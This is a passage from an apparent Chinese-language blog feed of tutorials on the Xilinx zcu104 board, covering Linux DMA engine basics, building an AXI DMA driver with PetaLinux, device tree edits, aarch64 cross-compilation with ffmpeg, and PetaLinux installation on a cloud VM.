class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">char</span> buffer[<span class="number">1</span>];</span><br><span class="line">        <span class="type">int</span> fd;</span><br><span class="line">        fd=open(<span class="string">&quot;/dev/mydev&quot;</span>, O_RDWR);</span><br><span class="line">        buffer[<span class="number">0</span>]=<span class="number">0x00</span>;</span><br><span class="line">        write(fd, buffer, <span class="number">1</span>);</span><br><span class="line">        read(fd, buffer);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Value : 0x%02x\n&quot;</span>, buffer[<span class="number">0</span>]);</span><br><span class="line">        close(fd);</span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure><p>上面介绍了驱动代码的编写和编译，接下来介绍下xilinx的DMAENGINE和DMA的基础知识。</p><h1 id="DMA基础知识"><a href="#DMA基础知识" class="headerlink" title="DMA基础知识"></a>DMA基础知识</h1><p>dma一般是内核空间下使用的驱动，用户空间比较复杂。</p><p>DMA有两种，<code>Slave-DMA</code>、<code>Async TX</code>：</p><ol><li><p><code>Slave-DMA</code>：memory-&gt;device, device-&gt;memory, device-&gt;device</p><p>slave的含义是指参与DMA传输的设备，对应的”master”是DMA controller本身</p></li><li><p><code>Async TX</code>：memory-&gt;memory</p></li></ol><p>这里我们主要介绍slave DMA的使用方法，包括如下5个步骤，详细可以参考<a href="https://github.com/Xilinx/linux-xlnx/blob/master/Documentation/driver-api/dmaengine/client.rst">xilinx dma slave api</a>：</p><ol><li><p>申请一个DMA channel</p><p>DMA channel（结构：struct dam_chan），由DMA controller（provider）提供，被consumer（client，driver，slave driver）使用，client通过<code>struct dma_chan *dma_request_chan(struct device *dev, const char *name)</code>API申请channel，通过<code>void dma_release_channel(struct dma_chan *chan)</code>API释放channle。</p></li><li><p>配置DMA channel参数</p><p>driver申请到DMA channel后根据实际情况及DMA controller的能力配置channel，通过API<code>int dmaengine_slave_config(struct dma_chan *chan, struct dma_slave_config *config)</code>将<code>struct dma_slave_config</code>告知DMA controller。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#struct dma_slave_config</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">dma_slave_config</span> &#123;</span> </span><br><span class="line">        <span class="class"><span class="keyword">enum</span> <span class="title">dma_transfer_direction</span> <span class="title">direction</span>;</span> </span><br><span class="line">        <span class="type">phys_addr_t</span> src_addr; </span><br><span class="line">        <span class="type">phys_addr_t</span> dst_addr; </span><br><span class="line">        <span class="class"><span class="keyword">enum</span> <span class="title">dma_slave_buswidth</span> <span class="title">src_addr_width</span>;</span> </span><br><span class="line">        <span class="class"><span class="keyword">enum</span> <span class="title">dma_slave_buswidth</span> <span class="title">dst_addr_width</span>;</span> </span><br><span class="line">        u32 src_maxburst; </span><br><span class="line">        u32 dst_maxburst; </span><br><span class="line">        <span class="type">bool</span> device_fc; </span><br><span class="line">        <span class="type">unsigned</span> <span class="type">int</span> slave_id; </span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>代码中参数介绍：</p><p>direction：指明传输方向 memory-&gt;device, device-&gt;memory, device-&gt;device, memory-&gt;memory</p><p>src_addr：读取数据位置（src为mem不需要配置）</p><p>dst_addr：写入数据位置（dst为mem不需要配置）</p><p>src_addr_width、dst_addr_width：src&#x2F;dst地址的宽度</p><p>src_maxburst、dst_maxburst：src&#x2F;dst最大可传输的burst size（DMA控制的可缓存数据量大小）</p><p>device_fc：决定DMA传输是否结束的模块</p><p>slave_id：slave通过slave_id告诉dma controller自己的身份，一般情况下非必要，只要知道src、dst、len即可。</p></li><li><p>获取传输描述</p><p>通过API<code>dmaengine_prep_slave_single()</code>获得描述符<code>dma_async_tx_descriptor</code>。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">dma_async_tx_descriptor</span> &#123;</span> </span><br><span class="line">         <span class="type">dma_cookie_t</span> cookie; </span><br><span class="line">         <span class="class"><span class="keyword">enum</span> <span class="title">dma_ctrl_flags</span> <span class="title">flags</span>;</span> <span class="comment">/* not a &#x27;long&#x27; to pack with cookie */</span> </span><br><span class="line">         <span class="type">dma_addr_t</span> phys; </span><br><span class="line">         <span class="class"><span class="keyword">struct</span> <span class="title">dma_chan</span> *<span class="title">chan</span>;</span> </span><br><span class="line">         <span class="type">dma_cookie_t</span> (*tx_submit)(<span class="keyword">struct</span> dma_async_tx_descriptor *tx); </span><br><span class="line">         <span class="type">int</span> (*desc_free)(<span class="keyword">struct</span> dma_async_tx_descriptor *tx); </span><br><span class="line">         dma_async_tx_callback callback; </span><br><span class="line">         <span class="type">void</span> *callback_param; </span><br><span class="line">         <span class="class"><span class="keyword">struct</span> <span class="title">dmaengine_unmap_data</span> *<span class="title">unmap</span>;</span> </span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> CONFIG_ASYNC_TX_ENABLE_CHANNEL_SWITCH </span></span><br><span class="line">         <span class="class"><span class="keyword">struct</span> <span class="title">dma_async_tx_descriptor</span> *<span class="title">next</span>;</span> </span><br><span class="line">         <span class="class"><span class="keyword">struct</span> <span class="title">dma_async_tx_descriptor</span> *<span class="title">parent</span>;</span> </span><br><span class="line">         <span class="type">spinlock_t</span> lock; </span><br><span class="line"><span class="meta">#<span class="keyword">endif</span> </span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure></li><li><p>启动传输</p><p>获取传输描述符之后，通过<code>dmaengine_submit</code> API将描述符放到传输队列，返回唯一识别该标志符的cookie，再调用<code>dma_async_issue_pending</code>API启动传输。</p></li><li><p>等待传输结束</p><p>通过API<code>dma_async_is_tx_complete()</code>判断DMA事务是否完成。</p></li></ol><h1 id="基于Petalinux编译DMA驱动"><a href="#基于Petalinux编译DMA驱动" class="headerlink" title="基于Petalinux编译DMA驱动"></a>基于Petalinux编译DMA驱动</h1><p>请根据<a href="https://suikammd.github.io/zh-Hans/2019/04/24/petalinux_build_based_on_xilinx_zcu104/">基于Xilinx zcu104版的petalinux移植linux（ffmpeg）</a>这边文章认真配置环境</p><ul><li><p>Pre-requisites</p><ol><li><p>A zero-copy Linux driver and a userspace interface library for Xilinx’s AXI DMA and VDMA IP blocks. These serve as bridges for communication between the processing system and FPGA programmable logic fabric, through one of the DMA ports on the Zynq processing system.</p><p> <code>git clone https://github.com/bperez77/xilinx_axidma.git</code></p></li></ol></li><li><p>Steps</p><ol><li><p>add hdf to ur petalinux project（这个hdf文件仅仅做了loopback，以下基于此loopback进行介绍）</p></li><li><p><code>petalinux-config --get-hw-description $(UR-HDF-PATH)</code></p><p><code>Image Packaging Configurations -&gt; Root filesystem type -&gt; SD card</code></p><p>取消勾选<code>DTG Settings-&gt;Kernel Bootargs-&gt;generate boot args automatically</code>，set bootargs to <code>earlycon console=ttyPS0,115200 clk_ignore_unused root=/dev/mmcblk0p2 rw rootwait</code></p></li><li><p><code>petalinux-build</code></p><p>在编译过程中，如果卡在fsbl的编译，请执行以下两条指令 </p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo apt install libgtk-3-dev</span><br><span class="line">sudo apt install libgtk2.0-dev</span><br></pre></td></tr></table></figure></li><li><p>create module </p><ul><li><p><code>petalinux-create -t modules -n xilinx-axidma --enable</code></p></li><li><p>进入到git clone的文件夹路径，将所需文件拷贝到petalinux module的路径。这里涉及到三步，第一步拷贝文件，第二步删除不必要的文件，第三步是修改petalinux module文件夹的下的Makefile和.bb文件。</p><p>（1）将git clone下来的文件夹里的文件拷贝到petalinux module的路径<code>&lt;path/to/PetaLinux/project&gt;/project-spec/meta-user/recipes-modules/xilinx-axidma/files</code></p><p><code>cp -a driver/*.c driver/*.h include/axidma_ioctl.h &lt;path/to/PetaLinux/project&gt;/project-spec/meta-user/recipes-modules/xilinx-axidma/files</code> </p><p>（2） 删除<code>xilinx-axidma.c</code></p><p> <code>rm &lt;path/to/PetaLinux/project&gt;/project-spec/meta-user/recipes-modules/xilinx-axidma/files/xilinx-axidma.c</code></p><p>（3） 修改<code>&lt;path/to/PetaLinux/project&gt;/project-spec/meta-user/recipes-modules/xilinx-axidma/files/Makefile</code></p><p>删除Makefile第一行，取代为下面三行代码</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">DRIVER_NAME = xilinx-axidma</span><br><span class="line"><span class="meta prompt_">$</span><span class="language-bash">(DRIVER_NAME)-objs = axi_dma.o axidma_chrdev.o axidma_dma.o axidma_of.o</span></span><br><span class="line">obj-m := $(DRIVER_NAME).o</span><br></pre></td></tr></table></figure><p> （4） 修改<code>&lt;path/to/PetaLinux/project&gt;/project-spec/meta-user/recipes-modules/xilinx-axidma/xilinx-axidma.bb</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">SRC_URI = &quot;file://Makefile \ </span><br><span class="line">           file://axi_dma.c \</span><br><span class="line">           file://axidma_chrdev.c \</span><br><span class="line">           file://axidma_dma.c \</span><br><span class="line">           file://axidma_of.c \</span><br><span class="line">           file://axidma.h \</span><br><span class="line">           file://axidma_ioctl.h \</span><br><span class="line">           file://COPYING \</span><br><span class="line">          &quot;</span><br></pre></td></tr></table></figure></li></ul></li><li><p>create app</p><p>这里的app实现的功能是，将从千兆拿到的视频i帧转为yuv格式(基于ffmpeg)送到pl端，再将从pl端返回的结果送回内网的服务器。</p></li><li><p>change the system-user.dtsi according the pl.dtsi.</p><p>（1） 根据之前petalinux-build生成的<code>pl.dtsi</code>，将其中的内容全部复制到<code>system-conf.dtsi</code>，这两个文件的地址均在<code>&lt;path/to/PetaLinux/project&gt;/components/plnx_workspace/device-tree/device-tree</code>，按理说这部分复制进system-user.dtsi也可以，<code>&lt;path/to/PetaLinux/project&gt;/components/plnx_workspace/device-tree/device-tree</code>这个目录下的文件一般是自动生成的。</p><p>（2） 同时删除<code>system-top.dtsi</code>最后一行<code>#include system-user.dtsi</code></p><p>（3） 修改system-user.dtsi（位置<code>/project-spec/meta-user/recipes-bsp/device-tree/files/”</code>），加入以下内容</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">/ &#123;</span><br><span class="line">        axidma_chrdev: axidma_chrdev@0 &#123;</span><br><span class="line">        compatible = &quot;xlnx,axidma-chrdev&quot;;</span><br><span class="line">        dmas = &lt;&amp;axi_dma_0 0 &amp;axi_dma_0 1&gt;;</span><br><span class="line">        dma-names = &quot;tx_channel&quot;, &quot;rx_channel&quot;;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure></li><li><p><code>petalinux-build</code></p></li><li><p><code>petalinux-package --boot --fsbl ./images/linux/zynqmp_fsbl.elf --fpga ./images/linux/system.bit  --pmufw ./images/linux/pmufw.elf --u-boot</code>，生成的文件<code>BOOT.bin、image.ub</code>位于<code>&lt;path/to/PetaLinux/project&gt;/images/linux/</code>下</p></li></ol></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;计划先整理下驱动的基础知识，再介绍下设备树相关dts文件的写法。&lt;/p&gt;
&lt;h1 id=&quot;最简单的内核驱动代码示例&quot;&gt;&lt;a href=&quot;#最简单的内核驱动代码示例&quot; class=&quot;headerlink&quot; title=&quot;最简单的内核驱动代码示例&quot;&gt;&lt;/a&gt;最简单的内核驱动代码示例&lt;/h1&gt;&lt;p&gt;首先以最简单的内核驱动代码为例，介绍如何编写以及编译驱动代码。&lt;/p&gt;
&lt;p&gt;内核驱动代码至少需要包含两个函数，init函数(insmod时被调用)、exit函数(rmmod时被调用)。&lt;/p&gt;
&lt;p&gt;简单的内核驱动代码示例如下所示：&lt;/p&gt;
&lt;figure class=&quot;highlight c&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;meta&quot;&gt;#&lt;span class=&quot;keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&amp;lt;linux/module.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;meta&quot;&gt;#&lt;span class=&quot;keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&amp;lt;linux/version.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;meta&quot;&gt;#&lt;span class=&quot;keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&amp;lt;linux/kernel.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;type&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;type&quot;&gt;int&lt;/span&gt; __init &lt;span class=&quot;title function_&quot;&gt;init_mod&lt;/span&gt; &lt;span class=&quot;params&quot;&gt;( &lt;span class=&quot;type&quot;&gt;void&lt;/span&gt; )&lt;/span&gt; &lt;span class=&quot;comment&quot;&gt;/* Constructor */&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    printk ( KERN_INFO &lt;span class=&quot;string&quot;&gt;&amp;quot; Module1 start\ n &amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;type&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;type&quot;&gt;void&lt;/span&gt; __exit &lt;span class=&quot;title function_&quot;&gt;end_mod&lt;/span&gt; &lt;span class=&quot;params&quot;&gt;( &lt;span class=&quot;type&quot;&gt;void&lt;/span&gt; )&lt;/span&gt; &lt;span class=&quot;comment&quot;&gt;/* Destructor */&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	printk ( KERN_INFO &lt;span class=&quot;string&quot;&gt;&amp;quot; Module1 end\ n &amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;module_init ( init_mod );&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;module_exit ( end_mod );&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;MODULE_LICENSE (&lt;span class=&quot;string&quot;&gt;&amp;quot; GPL &amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;MODULE_AUTHOR (&lt;span class=&quot;string&quot;&gt;&amp;quot; SUIKAMMD&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;MODULE_DESCRIPTION (&lt;span class=&quot;string&quot;&gt;&amp;quot; Driver Module &amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</summary>
    
    
    
    
    <category term="petalinux" scheme="https://suikammd.github.io/zh-Hans/tags/petalinux/"/>
    
  </entry>
  
  <entry>
    <title>aarch64 交叉编译</title>
    <link href="https://suikammd.github.io/zh-Hans/2019/04/27/aarch64-cross-compile/"/>
    <id>https://suikammd.github.io/zh-Hans/2019/04/27/aarch64-cross-compile/</id>
    <published>2019-04-27T13:35:33.000Z</published>
    <updated>2026-11-19T12:58:15.307Z</updated>
    
    <content type="html"><![CDATA[<p><em>目的</em></p><p>在文章<a href="https://suikammd.github.io/zh-Hans/2019/04/24/petalinux_build_based_on_xilinx_zcu104/">基于Xilinx zcu104版的petalinux编译（ffmpeg）</a>中我介绍了如何在zcu104板上搭建操作系统，为了将海康威视摄像头拍摄下来的图像传输到zcu104板子PS的DDR处，我基于libavutil、libavformat、libavcodec这些库实现了自动抓取视频流中的关键帧并将它们存储为JPG格式（后续需要转换为YUV格式）的代码。</p><p>优雅的做法是在其他的平台上编译代码，在zcu104上只运行release版本，细心的同学应该已经看到在介绍搭建操作系统的那篇文章中并没有安装gcc库。代码在GCE上的虚拟机上交叉编译，使其可以在zcu104上安装的的操作系统上运行，zcu104对应的硬件架构是aarch64。</p><p>这时目标已经明确，在x86_64上交叉编译可以在aarch64架构上运行的代码，因为我已经将ffmpeg库安装进petalinux，所以在编译时所有库都可以动态链接。</p><span id="more"></span><p><em>步骤</em></p><ol><li><p>安装交叉编译工具<br>可以考虑使用<a href="https://releases.linaro.org/components/toolchain/binaries/">linaro交叉编译套件</a>，需要下载<a href="https://releases.linaro.org/components/toolchain/binaries/7.3-2018.05/aarch64-linux-gnu/gcc-linaro-7.3.1-2018.05-x86_64_aarch64-linux-gnu.tar.xz">交叉编译工具</a>和<a href="https://releases.linaro.org/components/toolchain/binaries/7.3-2018.05/aarch64-linux-gnu/sysroot-glibc-linaro-2.25-2018.05-aarch64-linux-gnu.tar.xz">交叉编译库</a>，交叉编译库中有编译基本程序用到的链接库。</p><p>如果按我这篇文章<a href="https://suikammd.github.io/zh-Hans/2019/04/24/petalinux_build_based_on_xilinx_zcu104/">基于Xilinx zcu104版的petalinux编译（ffmpeg）</a>安装了操作系统的话，则不需要下载交叉编译工具，仍然需要下载交叉编译库，之后在 <code>petalinux</code>的安装目录下执行<code>source ./settings.sh</code>即可，我这次用的交叉编译工具是<code>aarch64-linux-gnu-gcc</code>，可以通过输入<code>aarch64-linux-gnu-gcc --version</code>确认是否安装。</p></li><li><p>安装跨平台依赖库</p><p>将下载下来的交叉编译库<code>sysroot-glibc-linaro-2.25-2018.05-aarch64-linux-gnu</code>重命名为<code>sysroot</code>，在<code> sysroot</code>下的<code>usr</code>是编译器的寻址路径。</p><p>在x86_64 架构下的Linux平台编译代码，指令是<code>gcc -o xxx xxx.c -lavutil -lavformat -lavcodec -lz -lpthread</code>，因此需要交叉编译对应的库，比如ffmpeg等。为了不遗漏需要交叉编译的库，我们可以直接执行交叉编译指令<code>aarch64-linux-gnu-gcc --sysroot=/path/to/sysroot -o xxx xxx.c -lavutil -lavformat -lavcodec -lz -lpthread</code>，查看系统报错，看缺少那些库，之后只要对这些库进行交叉编译即可。</p><p>安装了petalinux的同学可以直接将<code>&lt;project_dir&gt;/build/tmp/sysroots-components/aarch64</code>下相应的库拷贝进<code>sysroot</code>的路径下的usr目录的lib和include中。</p></li><li><p>交叉编译</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">aarch64-linux-gnu-gcc --sysroot=/path/to/sysroot -o xxx xxx.c -lavutil -lavformat -lavcodec -lz -lpthread</span><br></pre></td></tr></table></figure><ul><li>–sysroot：编译器会自动在sysroot的路径下寻找文件夹中的usr目录下的lib和include。</li></ul></li></ol><p><em>总结</em></p><p>最后总结一下，交叉编译需要两步来完成，第一步是配置相应的交叉编译器，第二步是指定交叉编译器的寻找路径，来找到相应的库和头文件。</p><p>为了节省时间，我采用了比较naive的办法，如果大家有更好的办法，欢迎在我的github<a href="https://github.com/suikammd">suikammd</a>上提issue。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;em&gt;目的&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;在文章&lt;a href=&quot;https://suikammd.github.io/zh-Hans/2019/04/24/petalinux_build_based_on_xilinx_zcu104/&quot;&gt;基于Xilinx zcu104版的petalinux编译（ffmpeg）&lt;/a&gt;中我介绍了如何在zcu104板上搭建操作系统，为了将海康威视摄像头拍摄下来的图像传输到zcu104板子PS的DDR处，我基于libavutil、libavformat、libavcodec这些库实现了自动抓取视频流中的关键帧并将它们存储为JPG格式（后续需要转换为YUV格式）的代码。&lt;/p&gt;
&lt;p&gt;优雅的做法是在其他的平台上编译代码，在zcu104上只运行release版本，细心的同学应该已经看到在介绍搭建操作系统的那篇文章中并没有安装gcc库。代码在GCE上的虚拟机上交叉编译，使其可以在zcu104上安装的的操作系统上运行，zcu104对应的硬件架构是aarch64。&lt;/p&gt;
&lt;p&gt;这时目标已经明确，在x86_64上交叉编译可以在aarch64架构上运行的代码，因为我已经将ffmpeg库安装进petalinux，所以在编译时所有库都可以动态链接。&lt;/p&gt;</summary>
    
    
    
    
    <category term="petalinux" scheme="https://suikammd.github.io/zh-Hans/tags/petalinux/"/>
    
  </entry>
  
  <entry>
    <title>基于Xilinx zcu104版的petalinux移植linux（ffmpeg）</title>
    <link href="https://suikammd.github.io/zh-Hans/2019/04/24/petalinux_build_based_on_xilinx_zcu104/"/>
    <id>https://suikammd.github.io/zh-Hans/2019/04/24/petalinux_build_based_on_xilinx_zcu104/</id>
    <published>2019-04-24T13:24:27.000Z</published>
    <updated>2026-11-19T12:58:15.312Z</updated>
    
    <content type="html"><![CDATA[<p>Petalinux是Xilinx推出的嵌入式Linux开发工具。本篇文章基于Xilinx官方文档<a href="https://www.xilinx.com/support/documentation/sw_manuals/xilinx2018_1/ug1144-petalinux-tools-reference-guide.pdf">Petalinux Tools Documentation</a>，另外在本篇文章中指出了我在编译过程中遇到的一些错误，希望能帮大家节省时间，轻喷。</p><p>（如遇到问题请在我的github<a href="https://github.com/suikammd/suikammd.github.io/issues">suikammd</a>上提issue，谢谢，还没有搞评论区，拖延症&#x3D;。&#x3D;）</p><h1 id="环境准备"><a href="#环境准备" class="headerlink" title="环境准备"></a>环境准备</h1><ol><li>Ubuntu虚拟机，我是在Google Cloud Engine上免费申请的虚拟机，区域是台湾，速度比较快，大小是15GB内存、4个vCPU以及60GB硬盘。（不要自己折腾VMware，后续petalinux编译需要翻墙，速度极慢，而且GCE上面可以随便折腾，感谢咕咕！）</li><li>Petalinux SDK Installer、zcu104 BSP file，这两个文件均可以在<a href="https://www.xilinx.com/support/download/index.html/content/xilinx/en/downloadNav/embedded-design-tools.html">file download</a>中下载，我下载的版本都是2018.1的。如果需要下载高版本的，请注意查看板子是否支持，SDK installer和BSP的版本必须一致！<span id="more"></span></li></ol><h1 id="安装步骤"><a href="#安装步骤" class="headerlink" title="安装步骤"></a>安装步骤</h1><ol><li><p><em>GCE账号配置</em>：申请GCE账号就不多说了，记得在申请虚拟机时，在防火墙处勾选允许HTTP流量、允许HTTPS流量，并在SSH密钥处添加你的公钥。这样就会自动生成虚拟机的外部IP，通过ssh连上去就可以使用了。</p></li><li><p><em>安装依赖包</em>：在开头提到的官方文档中可以找到需要安装的依赖包，为方便大家使用，我在这里贴一下需要用的依赖包。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get update</span><br><span class="line">sudo apt-get install tofrodos iproute2 gawk gcc git make xvfb net-tools libncurses5-dev tftpd zlib1g-dev libssl-dev flex bison libselinux1 gnupg wget diffstat chrpath socat xterm autoconf libtool tar unzip texinfo zlib1g-dev gcc-multilib build-essential libsdl1.2-dev libglib2.0-dev screen pax gzip tar</span><br></pre></td></tr></table></figure><p>在安装过程中发现还需要安装<code>zlib1g-dev:i386</code>，这时候只要</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo dpkg --add-architecture i386</span><br><span class="line">sudo apt-get update</span><br><span class="line">sudo apt-get install zlib1g-dev:i386</span><br></pre></td></tr></table></figure><p>这样我们的依赖包就安装完毕了。</p></li><li><p><em>下载Petalinux SDK Installer、zcu104 BSP file</em>：wget一下对应的链接就行了，可能需要重命名下载的文件为相应的名称，可以分别是petalinux-v2018.1-final-installer.run、zcu104.bsp。</p></li><li><p><em>安装Petalinux Tools</em>：在安装过程中同意三个协议即可，这样Petalinux Tools就被安装到了&#x2F;home&#x2F;xxx&#x2F;petalinux下。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mkdir /home/xxx/petalinux</span><br><span class="line">./petalinux-v2018.1-final-installer.run /home/xxx/petalinux</span><br></pre></td></tr></table></figure><p>不用在意<code>WARNING: No tftp server found</code>，不影响编译，但是可以通过下面的指令消除warning。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install tftpd-hpa</span><br></pre></td></tr></table></figure><p>修改  <code>/etc/default/tftpd-hpa</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo vim /etc/default/tftpd-hpa</span><br></pre></td></tr></table></figure><p>为</p><figure class="highlight makefile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">TFTP_USERNAME=<span class="string">&quot;tftp&quot;</span></span><br><span class="line">TFTP_DIRECTORY=<span class="string">&quot;/var/lib/tftpboot&quot;</span></span><br><span class="line">TFTP_ADDRESS=<span class="string">&quot;0.0.0.0:69&quot;</span></span><br><span class="line">TFTP_OPTIONS=<span class="string">&quot;-l -c -s&quot;</span></span><br></pre></td></tr></table></figure><p>最后启动tptp server <code>sudo service tftpd-hpa restart</code>，再检查下是否启动成功<code>sudo netstat -a | grep tftp</code>。</p></li><li><p><em>构建Petalinux工作环境</em>：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">source /home/xxx/petalinux/settings.sh</span><br></pre></td></tr></table></figure><p>建议将这句话加到bashrc中，不然每次都要手动source。最后再执行下面这句话确认下工作环境已经设置完毕，如果结果是<code>/home/xxx/petalinux</code>说明设置成功！</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo $PETALINUX</span><br></pre></td></tr></table></figure></li><li><p><em>安装Petalinux BSP</em>：这样会生成一个文件夹<code>xilinx-zcu104-2018.1</code>，当然这个与你安装的BSP版本一致，这个文件夹就是你的project_dir。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd /home/xxx</span><br><span class="line">petalinux-create -t project -s &lt;path-to-bsp&gt;</span><br></pre></td></tr></table></figure></li><li><p><em>Enable ffmpeg in rootfs</em>：不需要在petalinux中支持ffmpeg的可以直接跳过此步。</p><p>在你的 